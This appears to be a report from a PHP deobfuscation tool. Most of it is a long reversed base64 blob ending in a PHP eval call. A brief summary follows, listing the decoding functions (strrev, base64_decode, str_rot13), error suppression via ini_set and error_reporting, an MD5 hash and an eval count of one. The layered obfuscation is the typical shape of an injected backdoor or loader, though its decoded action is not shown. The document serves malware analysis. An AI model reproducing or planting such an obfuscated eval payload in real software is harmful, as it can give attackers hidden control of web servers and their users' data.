XY2BkC7kSWZhUQscCdil3XlJWZlJ3Jocmcm9ldhZHQKoQfK0HIgACIKszZ2tmcgACIgACIgAiC7kyJxFGaiNFInJWQgQDM0ACMuEzLDd0RVdCKlJXcuJXdgACIgACIgAiC7BSKp01JHFkUU50XFJlRI91QHdUVnsVRSlURSZ0XkACLnY3LnAiLgkiZnFmc05UZyZGakACLnw3JoIXcil3Y6ZHIuAyJvcCK1B3Zup3X0JXZjhyc2BCIgAiC7kiIlJXevpnbFJCIsIyayFXYuxkIgwiIlJXa2VHcl52XuZnIgwiInJ2TBZkWiACLiMWZolnRiACLiIXe0JmYUJCKs5WZl5GI9AiZnFmc05UZyZGakACIgAiC7BSKp01JHFkUU50XFJlRI91QHdUVnsVRSlURSZ0XkgCbnNmeyFCKzZnCKszJxUjMx0iZqJWchZnSnASPgcmcmVmb1B3XnlHauNncxRiC7IHaldGI9AyaudnbfJnZo91Z5hmbzJXckowOnEmbaZmc5Z3UnASPgEmY2dGcu91Z5hmbzJXckowOiUzcxNiIg0DIlJWeiBHJKoQfK0XCKsTK0FmdxJGchJ3XidGJgwCIGJ1RChERfdUQSBCLpQXY2FnYwFmcfpnYlNHJgwiRSdkQIR0XHFkUgwCdhZXZnZGJoYmc2dmdnFmc5p3Z1hicxJGcyF3XsdmdnFmcflnenVHIhVGanJXZJkgC7lCdhZXZnZGJgwCdhZXciBXYy9lYnRCIsQXY2FnYwFmcfpnYlNHJokWYiBndgEmY2dGchh2cJowegkSKnkWYiBndngiZnZmdrJ3XhJmdnBXYoNXIoAyc2pQfK0XCKsTK0FmdxJGchJ3X6JWZzRCIsQXY2FnYwFmcfJ2ZkACL0FmdldmZkgCdhZXciBXYy91ZlJXahJGcf9megEWZodmcllQCKsXK0FmdldmZkACL0FmdxJGchJ3XidGJgwCdhZXciBXYy9leiV2ckgSahJGc2BSYiZ3ZwFGazlgC7BSKpcCdhZXciBXYy91ZlJXahJGcf9mengiZnZmdrJ3XhJmdnBXYoNHImYCIpcSahJGc2dCKmdmZ2tmcfFmY2dGchh2chgCIzZnC9pQfgACIgowOpQXY2V2ZmRCIsQXY2FnYwFmcfdGajdGaiRCIsQXY2FnYwFmcfdGajFmdkgSahJGc29md5BSYlh2ZyVGIgACIgACIgowegkCdhZXZnZGJgwCdhZXciBXYy91ZoN2ZoJGJgwCdhZXciBXYy91ZoNWY2RCKpFmYwZHIhJmdnBXYoNHIgACIKsHIpkyJpFmYwZ3b2l3JoY2ZmZ3ay9VYiZ3ZwFGazBiJmASKnkWYiBndngiZnZmdrJ3XhJmdnBXYoNXIoAyc2pgC')))); ?>

Function Calls

strrev 1
ini_set 2
str_rot13 1
base64_decode 1
error_reporting 1

Variables

$IQtJK strrev
$gKfaz base64_decode
$uMZpV str_rot13

Stats

MD5 aec8bde9a2c4cac350777c7e79fb9df4
Eval Count 1
Decode Time 177 ms